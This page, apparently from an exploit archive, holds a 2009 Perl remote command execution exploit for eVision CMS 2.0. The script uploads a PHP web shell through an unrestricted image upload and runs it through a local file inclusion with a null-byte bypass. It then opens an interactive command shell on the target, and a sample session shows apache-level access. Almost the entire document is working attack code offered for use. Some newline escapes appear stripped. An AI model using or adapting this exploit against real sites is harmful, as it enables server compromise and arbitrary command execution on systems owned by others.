[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : eVision CMS 2.0 Remote Code Execution Exploit
# Published : 2009-02-02
# Author : Osirys
# Previous Title : asp-project 1.0 Insecure Cookie Method Vulnerability
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#!/usr/bin/perl
# -----------------------------------------------------------------------------
# INFORMATIONS
# -----------------------------------------------------------------------------
# eVision CMS 2.0
# http://kent.dl.sourceforge.net/sourceforge/e-vision/eVision-2.0.tar.gz
# Remote Command Execution Exploit
# by Osirys
# osirys[at]live[dot]it
# Greets to: evilsocket, DarkJoker, emgent, Jay and str0ke
# This cms is vulnerable to arbitrary file upload. The problem is that when
# the user uploads a file, on it will be added the .gif extension. but this
# cms is vulnerable to Local File Inclusion,so we can include the .gif file
# and execute it.
# ------------------------------------------------------------------
# Exploit in action :D
# ------------------------------------------------------------------
# osirys[~]>$ perl rcE.txt http://localhost/eVision-2.0/
#
# ---------------------------
# eVision CMS RCE Exploit
# Coded by Osirys
# ---------------------------
# [+] Evil php code uploaded !
# [+] Including now evil file with LFI vulnerability
# [+] Injection succesfully ! Remote Command execution works !
# shell[localhost]$> whoami
# apache
# shell[localhost]$> id
# uid=80(apache) gid=80(apache) groups=80(apache)
# shell[localhost]$> pwd
# /home/osirys/web/eVision-2.0/modules/tour/adminpart
# shell[localhost]$> exit
# [-] Quitting ..
# osirys[~]>$
# ------------------------------------------------------------------
use LWP::UserAgent;
use IO::Socket;
use HTTP::Request::Common;
my $img_up_path = "/modules/brandnews/adminpart/img_upload.php";
my $up_path = "/modules.conf/brandnews/showpart/icons/";
my $lfi_path = "/modules/tour/adminpart/addtour.php?module=";
my $rce_path = "../../../modules.conf/brandnews/showpart/icons/";
my $vuln_code = "<?php system($_GET[cmd]); ?>";
my $lfile = "osi.txt";
my $nfile = "osirys.txt";
my $host = $ARGV[0];
($host) || help("-1");
cheek($host) == 1 || help("-2");
&banner;
open ($file, ">>", $lfile);
print $file "$vuln_coden";
close($file);
$datas = get_input($host);
$datas =~ /(.*) (.*)/;
($h0st,$path) = ($1,$2);
my $url = $host.$img_up_path;
my $ua = LWP::UserAgent->new;
my $re = $ua->request(POST $url,
Content_Type => 'form-data',
Content => [
upload_img => [$lfile, Content_Type => 'text/plain'],
upload_label => $nfile,
upload_submit => 'Upload'
]
);
unlink($lfile);
if ($re->is_success){
my $t_re = get_req($host.$up_path.$nfile.".gif");
if ($t_re =~ /<?php/) {
print "[+] Evil php code uploaded !n";
print "[+] Including now evil file with LFI vulnerabilityn";
my $re = get_req($host.$lfi_path.$rce_path.$nfile.".gif%00&cmd=id");
if ($re =~ /uid/) {
print "[+] Injection succesfully ! Remote Command execution works !nn";
$lfi_rce = $host.$lfi_path.$rce_path.$nfile.".gif%00&cmd=";
&exec_cmd;
}
else {
print "[-] Something goes wrong !n";
print "[-] Exploit Failednn";
exit(0);
}
}
else {
print "[-] Upload failedn";
print "[-] Exploit Failednn";
exit(0);
}
}
else {
print "[-] Unable to upload evil file !n";
print "[-] Exploit Failednn";
exit(0);
}
sub exec_cmd {
my @outs;
$h0st !~ /www./ || $h0st =~ s/www.//;
print "shell[$h0st]$> ";
$cmd = <STDIN>;
$cmd !~ /exit/ || die "[-] Quitting ..n";
$exec_url = ($lfi_rce.$cmd);
$re = get_req($exec_url);
if ($re =~ /(.)/) {
push(@outs,$re);
foreach my $o(@outs) {
print "$o";
}
&exec_cmd;
}
else {
$c++;
$cmd =~ s/n//;
print "bash: ".$cmd.": command not foundn";
$c < 3 || die "[-] Command are not executed.n[-] Something wrong. Exploit Failed !nn";
&exec_cmd;
}
}
sub get_req() {
$link = $_[0];
my $req = HTTP::Request->new(GET => $link);
my $ua = LWP::UserAgent->new();
$ua->timeout(4);
my $response = $ua->request($req);
return $response->content;
}
sub cheek() {
my $host = $_[0];
if ($host =~ /http://(.*)/) {
return 1;
}
else {
return 0;
}
}
sub get_input() {
my $host = $_[0];
$host =~ /http://(.*)/;
$s_host = $1;
$s_host =~ /([a-z.-]{1,30})/(.*)/;
($h0st,$path) = ($1,$2);
$path =~ s/(.*)//$1/;
$full_det = $h0st." ".$path;
return $full_det;
}
sub banner {
print "n".
" --------------------------- n".
" eVision CMS RCE Exploit n".
" Coded by Osirys n".
" --------------------------- nn";
}
sub help() {
my $error = $_[0];
if ($error == -1) {
&banner;
print "n[-] Bad hostname! n";
}
elsif ($error == -2) {
&banner;
print "n[-] Bad hostname address !n";
}
print "[*] Usage : perl $0 http://hostname/cms_pathnn";
exit(0);
}
# www.Syue.com [2009-02-02]